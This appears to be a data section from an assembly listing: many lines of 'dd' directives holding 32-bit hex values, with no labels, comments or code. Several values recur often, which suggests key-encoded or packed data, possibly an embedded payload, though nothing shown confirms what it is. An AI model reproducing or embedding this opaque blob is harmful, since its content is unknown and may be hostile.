dd 0B8074ACBh, 0E9DCDACBh, 9499BBCDh, 4169B9D8h, 9494101Ah
dd 416913F0h, 1564831Ah, 4F662232h, 156E9F3Dh, 90698832h
dd 15664430h, 7F8F4352h, 7599EEC9h, 0A2B9373Dh, 0A0EF2599h
dd 129C01CBh, 1F8F9152h, 74BE0354h, 15790E5Ah, 3172AB32h
dd 1563F952h, 5258832h, 1A0F1037h, 156622B1h, 7D074932h
dd 15660832h, 0E6ED2252h, 1564AF3Dh, 4A351132h, 1A66E253h
dd 15664CBFh, 17E12D32h, 75661132h, 0B8D37753h, 7561BE27h
dd 73B69D3Dh, 0EA07C0B9h, 0EF66FDA7h, 2199B135h, 0D1E57816h
dd 98EDE436h, 129C9EB7h, 156648DBh, 0CC7A132h, 9DAB5030h
dd 8DB4790Fh, 65B2C73h, 1EF2232h, 72FEAB16h, 14A1D479h
dd 492D23AAh, 0E03C3303h, 156F9A3Dh, 73068832h, 0AF0085B9h
dd 43073FCDh, 1562AC67h, 0FBEF8832h, 4B97456Fh, 17E52D52h
dd 9E661132h, 0FBE7EEC2h, 9C074BE1h, 0EF70A7BFh, 1572F835h
dd 0CFF88832h, 0B78E9B5Eh, 62AC170Eh, 21E20E0Ch, 0CEE12BA8h
dd 0F18F86E5h, 0ED99DDF7h, 154DB3DBh, 15696132h, 0DE4432h
dd 0CBD7BA10h, 23461961h, 7D61F04Fh, 1F8F2499h, 79662232h
dd 0D24E35D2h, 71D2FDDh, 90EBCF26h, 0E061D824h, 15DF4061h
dd 9C668832h, 0DE671DF9h, 0E03D29B9h, 0E7829CBBh, 73068033h
dd 73E5B78Dh, 9407F4B9h, 51325F0Ah, 89E3877Eh, 0FC664432h
dd 15662223h, 9BE844FFh, 0A24EFC83h, 0F7B24246h, 0D568EF25h
dd 6DE77708h, 1A48C436h, 15663EB7h, 156FCB32h, 0B0961132h
dd 65A0EA00h, 7D829877h, 15665449h, 9C420DBBh, 4EB801F1h
dd 156656DBh, 0E5FBF32h, 343EA2A9h, 0AEDDAFA4h, 0E2A38FDDh
dd 1A3AFCC2h, 156610B8h, 0AE357D32h, 15664434h, 9EDFC33h
dd 11A29216h, 15669BDBh, 0FBB76932h, 59429607h, 44625DBFh
dd 59A41787h, 7CBE8641h, 3FDBA7B9h, 1F8F16C8h, 4C668832h
dd 0A40C5C75h, 2146F4AAh, 1078F864h, 949E8832h, 156640DEh
dd 317AAB32h, 0CBEFD2BBh, 45367169h, 0EC38328Ah, 31220B06h
dd 943C4936h, 0EC38FEF0h, 156CAD06h, 55CE2232h, 6195E1B0h
dd 233195E0h, 9B698D03h, 1566223Eh, 1560923Dh, 96698832h
dd 15664432h, 198F429Eh, 0B4661132h, 0B514BAA7h, 633BD4B0h
dd 7418938Ah, 9169110Eh, 156689A4h, 15664EDBh, 643A4832h
dd 2C39B0A3h, 294BD7C7h, 0D8E24B1Fh, 0E999DDCDh, 91693F0Eh
dd 156688EAh, 13E74B52h, 1A662232h, 156611B6h, 0C4EDEE32h
dd 9E002453h, 0B2079DF8h, 2907524Ah, 43E48702h, 0E0664437h
dd 93691B0Eh, 0EA99EEAAh
dd 15740E3Dh, 188F4432h, 0E8662232h, 35DAEF0Eh, 0D816D6E8h
dd 0FE01F3F3h, 9769630Eh, 1566141Fh, 156D093Dh, 138F4432h
dd 90662232h, 9881432Eh, 1A3CB477h, 0EA991BB4h, 4A5ADACDh
dd 0EA30953Dh, 956977CDh, 15664433h, 1A071ECEh, 1562EDB0h
dd 15606132h, 3CFA4432h, 0D6AC7B0Ch, 93696B0Eh, 0EA997706h
dd 9E001452h, 74937DC5h, 15679C3Dh, 0FC9E8832h, 156640E7h
dd 2FA59C52h, 68E1437h, 0CC668832h, 6B175716h, 0F660FFFBh
dd 334957DAh, 3FE93F4Bh, 1A8F51D5h, 1C662232h, 0CC7938DDh
dd 75CB7519h, 0E471223Eh, 743D4636h, 1506295Ah, 31720132h
dd 4F4240CDh, 0FCDD4452h, 10E81E39h, 73668832h, 0C9529CB3h
dd 1A941B53h, 15626DB6h, 188FE832h, 40664432h, 2686D389h
dd 0EC3C038Bh, 5BDC141Eh, 0AE3525C7h, 0EA99DDCDh, 753DCB33h
dd 15669BDAh, 70C5C432h, 6F56A448h, 0E449B691h, 7524A93Eh
dd 0ECE74BB9h, 15662ADBh, 90E01832h, 0A89A3049h, 47071C5Dh
dd 0EA99DD88h, 4FB738CDh, 156A013Dh, 98694432h, 15662234h
dd 1566923Dh, 748F8832h, 0FC99BBCCh, 1566223Ch, 1962C80Ch
dd 85BC6278h, 8BC7AAF7h, 0DCE36B96h, 169D953Dh, 9A698832h
dd 15664426h, 15662DDBh, 2AF23B32h, 0FA1658BCh, 50E85E44h
dd 193D4718h, 1217A4BFh, 0E9068FC8h, 873FB54h, 94347753h
dd 13943506h, 943BA9CFh, 0E860B6C7h, 488FAB13h, 156617DBh
dd 4FFCDD32h, 0E9EFC343h, 315AA960h, 0ED62D5B1h, 95DC3A60h
dd 0FFE685F0h, 4FB6AA08h, 14AD1CCh, 156C61CBh, 39964432h
dd 255320F7h, 8B3D4E81h, 0E09BFD9Ch, 15664FDBh, 795D5332h
dd 51A7397Ch, 9346307Dh, 78E0F967h, 0FC4F6F9Bh, 949F386Fh
dd 0BC0B0EF3h, 0C491BC7Fh, 0EC99CBB1h, 6306A962h, 83539F68h
dd 3814FA2Ch, 0FCD42FC4h, 3C3ED61Bh, 15A109FDh, 0E01A7669h
dd 29ED7465h, 11A29016h, 4B668832h, 0E0C2B7C7h, 0D3D69763h
dd 45D6EE75h, 0EA99778Ah, 259E45CDh, 0FC3F7A1Ah, 1566113Ch
dd 11DFE555h, 0EBED255Eh, 0DC0FC3h, 80EB9A9Eh, 129C8F43h
dd 156655DBh, 68F64032h, 8D602110h, 0F6038A27h, 66EF80E3h
dd 90EDF15Bh, 129C359Fh, 57870952h, 1A5477BFh, 9007D085h
dd 0A6E31EF2h, 1A668832h, 15665DB7h, 58F4232h, 82661132h
dd 0CDBF52DFh, 0E1633434h, 942FDF5Dh, 4674F041h, 1A06E96Ch
dd 156647B4h, 0EFED4432h, 74FDDBB2h, 13030DF4h, 0FC2143C8h
dd 15662220h, 67834915h, 0CAE2207Bh, 0EAAA0042h, 5796E94Eh
dd 0C70E21EBh, 0FCB21295h, 15664434h, 0AD8D6BB5h, 0A099507Eh
dd 129CA8A7h, 15664ADBh, 0F193332h, 0EB50C2FFh, 0A7721C4h
dd 987E9643h, 0E8C5FFB7h, 1569F835h, 0FC8A8832h, 0B294BEA2h
dd 0F0C0C776h, 94914DC2h, 15766123h, 0EDED4432h, 92FD1DF5h
dd 57D3131h, 0BAB7F45Fh, 0C599EC1Ah, 15662BDBh, 0CCD87932h
dd 0F4E8B6B6h, 9C359815h, 11A5A3D1h, 94661132h, 15668CD9h
dd 317AC332h, 3172AB6Eh, 156B9E3Dh, 1D8F8832h, 7F664432h
dd 0A2361618h, 0ED613C9Eh, 0FC0658CDh, 1566443Ah, 0A821C6A1h
dd 6F537D0Ah, 156D6153h, 0D6E94432h, 53EACC04h, 8BD24669h
dd 1AA60DF3h, 1566B3B7h, 156BCB32h, 0F1041132h, 0EDD4D546h
dd 0DC926BB6h, 9EBE5789h, 0EF4E08B7h, 0D5E37D35h, 1511C13Dh
dd 0D39E2232h, 0EF6074B7h, 9E06C435h, 74B2CEC2h, 0CF7ACB5Ah
dd 1EC1EEBh, 0FC668832h, 1566443Dh, 9EE171D9h, 5F76B386h
dd 0C0977E84h, 0EA283259h, 0EF46B787h, 12E91E35h, 75668832h
dd 1096C554h, 90EB436Bh, 129BB2EFh, 75A00252h, 0D4E71F60h
dd 2F1B4A5Ch, 0C5997053h, 4D9FD952h, 15664CDAh, 54A4F032h
dd 0D4BFEBFh, 156F6102h, 0E9934432h, 7890F87Ah, 4A15F720h
dd 0C13E053h, 1EF4432h, 1576CB16h, 0FA531132h, 517A5F97h
dd 0AD9D3B8Ah, 64FC504Eh, 0C599FFF5h, 156681DBh, 69460A32h
dd 229EF9A8h, 0D5E363C5h, 154C0D3Dh, 58F4432h, 662232h
dd 49AAC251h, 883F4381h, 0D097C28Fh, 0FC0F0987h, 156611DFh
dd 156683DBh, 46764532h, 61CAF268h, 0DF453457h, 0E7820DBBh
dd 0FC064C33h, 1566223Dh, 3A8A9113h, 0A101F21Eh, 0C074E6DCh
dd 95252CBCh, 430766EFh, 0D3E76EBBh, 15664436h, 1562CCB3h
dd 21E11132h, 11EFD416h, 108F2416h, 0A5662232h, 9C536444h
dd 810E7D53h, 9C664429h, 0FC060606h, 1566113Eh, 0CD048CF5h
dd 8A838BBBh, 2F892600h, 156618DBh, 8FA93032h, 0AD64C29Eh
dd 980764AFh, 0E8A30EB7h, 12E48735h, 1A664432h, 156623BAh
dd 0C599ED32h, 15776052h, 65234432h, 0DFA386F8h, 150A64D5h
dd 6D895A0Ch, 94D43E5Bh, 85F5EEDAh, 9F694904h, 15668830h
dd 1E071086h, 6E32DF2h, 0E9661132h, 1566A0DBh, 4DD92432h
dd 943FEE8Ch, 0BFC552F2h, 51EFE908h, 9B695816h, 1566223Bh
dd 0C6E77752h, 7406C3D4h, 0AA692453h, 0E7ED44E2h, 0D69A7053h
dd 9E9AE8CBh, 1494A0BFh, 1563CB3Ah, 0EB6C1132h, 43FE5250h
dd 0D3E7A2BBh, 15662236h, 1562FFB3h, 21E18832h, 11EF1816h
dd 1568CB16h, 2C0F1132h, 3A6D473Dh, 0CE50B27h, 59D46B3Eh
dd 9C3C4060h, 0FC06D2E2h, 15664421h, 95E92FAAh, 220C7F38h
dd 0BA247E4Bh, 7F021621h, 1A2C52F7h, 156613B1h, 743FD832h
dd 1562A8B3h, 1EF2232h, 155AAB16h, 0D7678832h, 0EC3C4631h
dd 9DDF73CEh, 14661132h, 9E7703F3h, 0D1E5603Eh, 0DEF2D36h
dd 0FC661132h, 15668821h, 0F094E430h, 85EF8176h, 329CEE68h
dd 524F91Dh, 75C51598h, 1A074252h, 7507D28Dh, 156684DBh
dd 7422F732h, 0B6949C81h, 5EB7F1ADh, 1BDFEE94h, 9C072585h
dd 0EF4073A7h, 1DE21E35h, 1A668832h, 156646BAh, 0FC074232h
dd 15661126h, 32BEB826h, 5B62776Fh, 39E4C682h, 7798DCDh
dd 1FC15082h, 159EFB65h, 634B2232h, 1456B83Eh, 19108DCAh
dd 7539749Bh, 62AD638Dh, 74E1A520h, 946AF8CDh, 49E36036h
dd 453C1D33h, 143A948Ah, 4DA4A10Dh, 15664FDBh, 7CAE432h
dd 4532577Dh, 7165A325h, 38FBD1BBh, 9C6925C8h, 15661134h
dd 4238D952h, 21992569h, 0D1E77A16h, 15661136h, 311277C7h
dd 3162CF16h, 7562E6B1h, 1575F852h, 0ECCF8832h, 0FC9B8B23h
dd 0FC4C53B5h, 41DA63C4h, 0F4200AF4h, 460725DDh, 4E174F89h
dd 4EBE382Ch, 7863401Bh, 0FC781F43h, 15662226h, 12B6AADCh
dd 20099442h, 62EDCC49h, 0B1D02A2Bh, 0A15A0253h, 38FB0D09h
dd 976943C8h, 1566226Ah, 44E32ACEh, 1A617214h, 15660FB1h
dd 1576CB32h, 94D11132h, 0FD2CF2E3h, 960CF655h, 1486CD38h
dd 75077FA8h, 8FEE6AB3h, 1C8E0041h, 0EE662232h, 46D24B5Dh
dd 31714B0Ch, 1566C53Dh, 74392232h, 1A6615F0h, 156687BDh
dd 156CAD32h, 0B06A2232h, 83192C24h, 0E48FB757h, 1DED4B53h
dd 1A662232h, 156613BDh, 7507E832h, 1563C83Dh, 0A8DC2232h
dd 74449ED3h, 0D1428CF5h, 9406A34Ch, 75170606h, 21E7050Dh
dd 3F66A116h, 0E1D81201h, 3C7B2C4Fh, 4B623546h, 0C942ACB3h
dd 0EA537D44h, 11E7063Eh, 0CBB96816h, 156A61EDh, 0F71D4432h
dd 5F8F1476h, 3C7BD597h, 48FE00Fh, 78664432h, 1AE7EF82h
dd 6AF8BB15h, 87DD2873h, 2CC8F6B1h, 114266F5h, 33DF6D12h
dd 1142E4F3h, 3122C534h, 235FF636h, 3132E60Dh, 0D0DCDA36h
dd 1459952Dh, 4F6E0666h, 730E46CAh, 9E07554Eh, 0D1E7600Eh
dd 15662236h, 0FAE7C6C5h
dd 8B440BA6h, 0E939BCBBh, 5A00AFBFh, 926916C8h, 1566883Ah
dd 1564CF3Dh, 74062232h, 5DE7752h, 0F499E993h, 1575C73Dh
dd 1B8F2232h, 43661132h, 38FFE872h, 3883D1A0h, 266C6D14h
dd 1C8F7179h, 96668832h, 10E8EEEh, 0FF399E99h, 15065A5Ah
dd 31720132h, 15664488h, 9F942332h, 29934B30h, 56E287DBh
dd 75664433h, 0E7AA978Bh, 16E31E22h, 1A668832h, 29079D85h
dd 43E22DDAh, 75661133h, 0BC853354h, 0AD8CFC8Dh, 1A5A4324h
dd 153B953Dh, 95068832h, 2907C7C0h, 0BBE22DFFh, 75661133h
dd 138F42B9h, 0D8664432h, 0D5CD0A9Ah, 0FE5A70C3h, 14870C3Dh
dd 108F4432h, 0B9662232h, 3F935306h, 15726153h, 4B0C4432h
dd 18F21232h, 3C0067E1h, 0AC224322h, 3D92B4FFh, 0FCA58505h
dd 1566113Dh, 73727DFEh, 0C02148DDh, 4167B053h, 47831DC7h
dd 15673163h, 0DFEF4432h, 9F94236Bh, 44934B28h, 0FE467887h
dd 944248B9h, 156626F6h, 1574F832h, 0E2E58832h, 0C06CC57Ch
dd 5E9174C4h, 0D27523EEh, 59193BE2h, 1AE6BFB2h, 0EA99B1B7h
dd 9430E4CDh, 761CAC1Eh, 9ED684Eh, 11A2A116h, 761CD2B3h
dd 0FC06A44Eh, 15664434h, 0FFFDE649h, 188F9393h, 0DA668832h
dd 0E2BCEF78h, 0C36636ADh, 8B330CEAh, 13DED853h, 14664432h
dd 3162A9F1h, 1562D5B3h, 47938832h, 15664688h, 44942332h
dd 1566118Bh, 16B78932h, 0E03C1D2Bh, 156690DBh, 2EA1E32h
dd 0FC668832h, 15664420h, 204B5800h, 32CA6083h, 0FEE976D3h
dd 7036D664h, 639948FBh, 317A9A33h, 0FC624CB1h, 15664421h
dd 0F3255C99h, 9ADCAE70h, 0C0DC6545h, 0F28D4A54h, 9663C47Eh
dd 9169EAC9h, 156688EBh, 118AC7CEh, 4E4216BBh, 44DE7752h
dd 0AF34E902h, 15664433h, 0AD36D033h, 15661132h, 0D655833h
dd 1A8F1E6Ah, 6F662232h, 0C4F3B7E7h, 0B072194h, 7D321AE4h
dd 9B69173Ch, 15661128h, 156B6152h, 0BF9C4432h, 9F0534C1h
dd 0C8A3982Ch, 1A4E4C58h, 156644B2h, 47304332h, 4830835Ah
dd 0D7E7D25Eh, 86C4ED41h, 143CF4BBh, 0FC934FC1h, 0EA99764Eh
dd 7313F352h, 0D6C6CDB3h, 4BD01E53h, 15756133h, 0E02D4432h
dd 797C1E8Bh, 1D6C332Dh, 5D713FC3h, 8727855Dh, 3B8DA113h
dd 0EB28953Dh, 18F77CDh, 69664432h, 0A450DE29h, 46C322BEh
dd 344B66ABh, 0BAF8DEE3h, 0FC43D7EDh, 1566112Fh, 1567053Dh
dd 959E4432h, 1A98234Ch, 0EA980EB7h, 156161CDh, 6D6C4432h
dd 0B24D7948h, 0E9C4F855h, 0AC0677CDh, 15994C9Bh, 0C6099854h
dd 0F3EF4753h, 15624EB3h, 0FBE54432h, 3152A536h, 3152986Eh
dd 156D6152h, 22A4432h, 0C6FBFDB5h, 5638AEB4h, 15766134h
dd 0D0CD4432h, 831FB5A5h, 48A6F69Dh, 0EE4E594h, 460702B8h
dd 0D6E7C1BBh, 15661136h, 156263B3h, 9E14432h, 19EF7E16h
dd 12E41E16h, 1A668832h, 156645B0h, 960EDE32h, 9C661159h
dd 0EC06AC2Eh, 15664EDBh, 0B997ED32h, 5472BF95h, 74DCB9DDh
dd 9483CD67h, 156626F7h, 118B9232h, 4942A4B5h, 1A4278BBh
dd 15662AB2h, 0E5E77132h, 11CF687h, 1AA67553h, 156625B1h
dd 0DFE67132h, 745E3879h, 8E64B9Eh, 75662232h, 0FCC4DCB2h
dd 15668821h, 0CA49B1BBh, 53F7647h, 0D7A7EFE9h, 2476473Ch
dd 745CB527h, 0D6EE7160h, 9D3DCBBAh, 9406D2E1h, 5E6591DDh
dd 156DCB73h, 0B5F41132h, 687D63D0h, 29B4139h, 0F9E543DCh
dd 31629836h, 0D6467882h, 7337246Ah, 0E93DD5B9h, 12EC1E53h
dd 1A668832h, 156645B6h, 0EEE6DE32h, 0D8E21E42h, 0E0668837h
dd 91694B0Eh, 156622C9h, 15661EDBh, 0E62E5332h, 0F697B8FEh
dd 8E9877CFh, 86D20B46h, 1A8FB4C7h, 156CB6B6h, 6E92D32h
dd 0FC661132h, 1566883Ch, 9C953799h, 0AA407F72h, 7920860Ch
dd 0FE5A1C99h, 1AE5C03Dh, 0FC9E2232h, 15661137h, 0F63903A2h
dd 1A8578E1h, 156585B6h, 1563F832h, 0D4B18832h, 294CA62Bh
dd 0BDE22DD0h, 0ED661122h, 0DAE7DB52h, 346EBC50h, 94004269h
dd 95347CF4h, 740714FCh, 4A4270CDh, 7562E6B1h, 1563943Dh
dd 94008832h, 740A35E2h, 4E4216CDh, 1562D5B3h, 9E9E8832h
dd 9C36603Eh, 156227D2h, 11631132h, 92668832h, 0FC3A6036h
dd 1566223Ch, 0D0BCD094h, 3D3E7C52h, 41019E89h, 21993D31h
dd 0D1E74F16h, 15668836h, 17EA4B52h, 9E662232h, 9B6941FAh
dd 15668832h, 75A52568h, 0E58FA354h, 1B8F71F1h, 86668832h
dd 4D67EAB8h, 9AB90B9Dh, 97DCDF0h, 68D8EE1Ah, 0D20725C8h
dd 149596B7h, 1566173Ah, 0DED8732h, 0FC664432h, 15662221h
dd 2246D9h, 0FED2524h, 8E8B1AB3h, 0C399042Fh, 4509377Fh
dd 1566888Ah, 9F964532h, 3162A92Ah, 0ED62D5B1h, 958C3D63h
dd 0D0E667DFh, 8F8BA23Fh, 0C890C4C4h, 0D5793E60h, 0D3E640D4h
dd 0B688A2FCh, 25B6E7B2h, 0FE46D2C7h, 0EEE6B16Bh, 0E32DB2h
dd 0FC99EECDh, 15668835h, 0AEDB746Dh, 40E0BDEBh, 0EA99EE8Fh
dd 488889CDh, 156643DBh, 0B236E632h, 9761A3C0h, 314F0DB9h
dd 9E9343C8h, 0EF52E7A7h, 0F9E5E435h, 31520136h, 0DF4268B3h
dd 4E4C9E21h, 6ACD2B3h, 9169A28Eh, 1566442Ch, 157EA53Dh
dd 68F1132h, 96668832h, 498E6D1Ch, 9A69DBBDh, 79712A40h
dd 3F3A9D98h, 0AA319024h, 15662234h, 29EDEA33h, 11A20B16h
dd 0BB6AFE52h, 97693D5Eh, 15661133h, 0AF34E9C7h, 15664430h
dd 0F65D033h, 944205B9h, 15668CF6h, 0C5ED2432h, 4DA8A960h
dd 1ABE2A53h, 1566A9B0h, 1561AD32h, 41832232h, 7AC172BBh
dd 1ABCB364h, 0EA981FB4h, 1561CBCDh, 27991132h, 0BA94FA16h
dd 0FEE7BD31h, 5FD57AAAh, 3882D2B3h, 0EE4FF058h, 3882AFB3h
dd 0D6E75A58h, 5FD549AAh, 156A043Dh, 9B694432h, 15662234h
dd 1566923Dh, 9E698832h, 1566443Ah, 1564A93Dh, 74061132h
dd 15727E5Ah, 315ACD32h, 1566248Dh, 4A9D3832h, 156D6052h
dd 296A4432h, 0D0B44ECDh, 0CE8B8F1Ah, 1F8ED2D7h, 80664432h
dd 7D570F0Ch, 89639917h, 1572602Fh, 27684432h, 0ADDED52Fh
dd 0AB009421h, 0ADD348FDh, 9683CF54h, 4D39489Dh, 1ACB7753h
dd 156690B3h, 1575AD32h, 2BC62232h, 2F56540h, 0B5F68706h
dd 0C3B1DB42h, 0FC9DDC87h, 0E0CD77F7h, 11EDDB62h, 11A2C516h
dd 4E662232h, 7ED7E452h, 9400E853h, 0ECDA9DC0h, 9D698953h
dd 15661133h, 0AA31DACBh, 27B51D94h, 4CC4CDB3h, 0EFEF23E1h
dd 4FB0896Dh, 0CCED2252h, 315AAB53h, 13E31E52h, 1A668832h
dd 156644B3h, 4CDD4432h, 61EF7001h, 9C698416h, 15664429h
dd 1573A23Dh, 58F1132h, 27668832h, 15AE7DEAh, 4293148h
dd 643EB277h, 9CDFB787h, 0EF43A987h, 2199DB35h, 0D1E74E16h
dd 15668836h, 156649DBh, 52DAD132h, 0E1ECE037h, 3C19FE88h
dd 219941FDh, 0D1E77916h, 15661136h, 1567093Dh, 0EA934432h
dd 963F0606h, 0FC0615F6h, 15668834h, 0B92A51E8h, 9E076942h
dd 9C373506h, 11A709D3h, 96664432h, 19E126F3h, 0ED064D16h
dd 15669BDAh, 0B015C132h, 8AD814A1h, 0DA6E0967h, 490965D8h
dd 0D023C76h, 4BBCA954h, 0F3EF4753h, 290B3765h, 94212659h
dd 7E5A48DDh, 4A981050h, 92624EB1h, 1A3A6006h, 156633B5h
dd 156AF832h, 0AAF78832h, 0FFE1F881h, 0C76EA767h, 6C8F597Bh
dd 0E09977EDh, 0E6D2C1F5h, 15642A33h, 92691132h, 15668820h
dd 156649DBh, 0F8444A32h, 305C2A45h, 0D233B470h, 6A0EA740h
dd 9C66227Fh, 753D3506h
dd 1565083Dh, 0AA694432h, 0AC0042F8h, 7407F7B9h, 0FC683E3Dh
dd 15664437h, 63ABAD42h, 14EF1E9Ah, 0E0668832h, 1AE6BDB2h
dd 156658B1h, 0D6E7E432h, 150ED980h, 0AC378F33h, 150E7380h
dd 0EC3FDA1Bh, 156D6152h, 13984432h, 695033FCh, 16910FE2h
dd 15766062h, 0EBCB4432h, 0E08FE991h, 0BAEF69BDh, 86FB062h
dd 0E0E6CE2Eh, 46077947h, 144215B3h, 4E668832h, 1562CC3Dh
dd 75062232h, 95067053h, 40D966D0h, 74457A61h, 1566B4DBh
dd 1561F832h, 15148832h, 9D7FB3B6h, 9406427Bh, 9F5A85E2h
dd 0CDEDEE13h, 7307B153h, 3D999561h, 9ED77CBh, 17A20B16h
dd 0E2F70DCEh, 108FB3E2h, 14661132h, 0D1E39118h, 670E1762h
dd 4E09953Bh, 565FE2B3h, 9425A3D2h, 0BDD0F7F1h, 4EBEAB89h
dd 0FC3ED013h, 1566883Eh, 3A44E6ACh, 0BA0B77B0h, 0AE821606h
dd 48D33062h, 0D64F448Ah, 94AD0B6Ah, 0AD3BA4F1h, 15766132h
dd 7EC34432h, 0E0767194h, 9B118B42h, 95E985AAh, 94062A38h
dd 0E9DFE0FCh, 0FFE7770Ch, 9E07FC2Ch, 0EF426DB7h, 0AA694235h
dd 22BB91F9h, 0D0F30353h, 7561BE06h, 3A80A354h, 1568F823h
dd 0E7338832h, 62118D3Ah, 0CEBC15D7h, 0F6377B0Ah, 78DB0B53h
dd 1461BE13h, 1174A63Dh, 2C9F1132h, 1CE487F1h, 0FC664436h
dd 1566223Bh, 0AAC2A587h, 0CF45FD9Eh, 1AB57D8Dh, 0EA9CF5B0h
dd 2E71ECDh, 0FC668832h, 15664420h, 4599F291h, 0C3F6A49Ah
dd 0D712EBDAh, 1A9AA6B1h, 0C48FC15Ah, 0E0661131h, 0E6D20DF5h
dd 15644C33h, 1C8F2232h, 79661132h, 5966E283h, 1BE50A1Bh
dd 9C3677CAh, 4DA398C2h, 1A3B63BBh, 156649B5h, 156ECB32h
dd 4E391132h, 2FD136ACh, 0A369F12Bh, 156CCB3Ch, 0E3B71132h
dd 0F50D2758h, 48E5B71Fh, 1AE6DBB2h, 15662CB1h, 0AC377D32h
dd 4E7D140Ah, 456DE3B3h, 0DCE734FEh, 5594CD5Dh, 0D4E795C5h
dd 0DE9226F6h, 143FDA33h, 418D09F9h, 0E06CB82Dh, 15679F67h
dd 0FE671132h, 0B68F7D6Fh, 1A664432h, 156623B4h, 8B0EE832h
dd 9C668833h, 0EAD5602Eh, 1A3DFB1Ah, 15661CB5h, 156E6132h
dd 0EF304432h, 885AE84Ah, 0A006D7D0h, 74A80329h, 1566445Ah
dd 3162A332h, 1D600500h, 9442841Bh, 154601Eh, 1A3F2A34h
dd 156610B2h, 46367432h, 0D50E3789h, 94B5D57Eh, 53577F9h
dd 94BD7F35h, 0D54EA9C1h, 4EBEAB7Ah, 0EC3ED013h, 0B9F3163h
dd 0DCE756E4h, 4E52A4Ah, 7AA7D0B3h, 0C491B176h, 68BA8DB3h
dd 0FCE74E0Ch, 0A4E401C9h, 3C3F4333h, 0F78DC5F9h, 1A2B5E5Eh
dd 156618BBh, 9400E832h, 44DF12C5h, 90ED436Dh, 129C351Bh
dd 1575003Dh, 1B8F4432h, 1A662232h, 83D87E2Dh, 4BB15F64h
dd 0B9F20559h, 0D0F3A94Ah, 0FC61EB06h, 15668838h, 0CC5EC4DFh
dd 44D09D5Ch, 0A8E552A5h, 129CA95Fh, 70E24B33h, 0FC662230h
dd 15661135h, 1E90C8AEh, 0E06BA236h, 9769FA09h, 15661114h
dd 1571013Dh, 78F4432h, 36662232h, 3251B9F0h, 0B2CF0CF0h
dd 77C9EFF7h, 50D49A13h, 1AB52834h, 0EA9F87B4h, 0AA31B8CDh
dd 15662233h, 0E039EF1Bh, 0E33D3F61h, 6091C4E5h, 9365C5F2h
dd 93B8E7C5h, 629108C5h, 0ED3DBCBAh, 14EC2D98h, 0EC661132h
dd 15663260h, 0FFE74432h, 4978691Fh, 0D7E7E333h, 4978C31Fh
dd 753C4EB8h, 1563AE3Dh, 0D8DF1132h, 9473A7D6h, 0E075FE4h
dd 19D64300h, 0DD98791Eh, 0EB2F3963h, 138F84F3h, 3D44D3B2h
dd 996948FAh, 1566883Bh, 17DC2252h, 0DFD92D3Eh, 1561F853h
dd 32578832h, 4C97F61Eh, 0A6357079h, 0C0A59108h, 353D52BAh
dd 93691EE3h, 1566223Ch, 156618DBh, 0E1AEE532h, 1B814952h
dd 0DD6E2F68h, 1576903Dh, 1E8F8832h, 0A4664432h, 8631B2EEh
dd 2D9C07DAh, 75CCE641h, 749EF33Dh, 470FC9B3h, 0EE4F7D65h
dd 77F13765h, 942128EEh, 673B3AFDh, 0E4919016h, 1466211Fh
dd 1F8F1BC9h, 60662232h, 0E6D2ABF0h, 7CDDA54Ah, 11DF15F9h
dd 94662232h, 4D5334F1h, 94ADA119h, 4D5361D9h, 45937B19h
dd 31629A61h, 15624CB3h, 1A3D4432h, 15662CB2h, 156FF832h
dd 0ED568832h, 0A7E31300h, 0BEBD9A82h, 1ABC9B52h, 15668DB2h
dd 0C4E72232h, 0FC079BD4h, 15661123h, 0F0B9974Dh, 511F91DDh
dd 3BF57F75h, 0AFCE7E4Bh, 17DED8F0h, 14664432h, 3162A9F4h
dd 0EC62D5B1h, 308B3DBBh, 78F43C8h, 0F0662232h, 207E09B7h
dd 431B948Ch, 0A47C9F5Eh, 90AAE81Ah, 78E3D62Bh, 14617213h
dd 0FC664432h, 1566223Eh, 0F24B9D79h, 0B422FBDCh, 79643626h
dd 4580AB64h, 0C469618Ah, 108E4920h, 0E261A4F3h, 28E327E2h
dd 0D3675A76h, 11A00B6Ah, 494270B5h, 3152DDC7h, 11A29269h
dd 0D3A70952h, 940D7760h, 0F8A43CDAh, 0EA9A7018h, 963FAC06h
dd 0A70640F6h, 9C314301h, 11A190D5h, 43668832h, 1566408Ch
dd 4B912332h, 49422DB5h, 156680DBh, 3EC76132h, 56408B17h
dd 0F5EF41BCh, 15668C37h, 11A6C732h, 9E4226B5h, 73063516h
dd 0E11D4EB3h, 7491FB3Dh, 0EABFCDDBh, 18EA1ECDh, 0FC668832h
dd 1566443Ah, 110128D9h, 77EE1DB0h, 15673765h, 0EB4F4432h
dd 9E00426Dh, 156EF8FDh, 6EC08832h, 5DEE86F1h, 1A07DF44h
dd 156602B6h, 15686132h, 0C704432h, 0F82A26ABh, 3EB4F3C3h
dd 536FF4Eh, 0CD61461h, 0D24E2085h, 4E9E996Ah, 0C4EDEE52h
dd 74D2AFB2h, 1574CB98h, 241A1132h, 161E311Bh, 51BFBA91h
dd 90AF9495h, 8F3A3406h, 156F0B3Dh, 0A7064432h, 0D3E7444Bh
dd 4007D262h, 0FDEF7DBBh, 964268B9h, 1A0626F6h, 0CCD0E785h
dd 14E18753h, 0EC664432h, 4FFD9961h, 0CD4F2F3Ah, 109EA169h
dd 2B6E1EA9h, 156CA03Dh, 75061132h, 15EB8753h, 74664432h
dd 52DE7261h, 0AE7A7D6Fh, 90AD571h, 3C3E8703h, 1D8F79EAh
dd 0F7661132h, 0B2CD55FEh, 0BEB90CD5h, 9269DE52h, 15661134h
dd 1566013Dh, 47074432h, 0A833C0BBh, 15661136h, 963B6233h
dd 1E140F0h, 9E067E16h, 21D877FCh, 9EDE943h, 0F3EF1216h
dd 1562E4B3h, 0D3E51132h, 31520F36h, 0DE54B6Eh, 75662232h
dd 15661EDBh, 79A10732h, 47820408h, 0A286B74Dh, 28F8E90Eh
dd 0EA07E952h, 963F6006h, 0EA9326F6h, 94383506h, 15668CF6h
dd 14E24B32h, 0E9662232h, 0F4EF40CAh, 156249B3h, 0D4E54432h
dd 61997336h, 9A3F1516h, 753AAC36h, 9E346C88h, 0AA007263h
dd 7439DB82h, 0EABD6EDBh, 1577ADCDh, 5FBF2232h, 0D72BAB87h
dd 0E92ED690h, 661E4D9Fh, 0D295BB1Ch, 1495A5B7h, 15668D3Ah
dd 1574AD32h, 56D12232h, 0A0734CDBh, 4F9E8049h, 6C6C5965h
dd 93FB5AF1h, 31629064h, 4A6C9D7h, 0F0DF1569h, 3C77E273h
dd 926948F9h, 1566883Ah, 1564C23Dh, 74062232h, 1562AB60h
dd 0C6678832h, 944250B9h, 156626F6h, 19E71E32h, 1A668832h
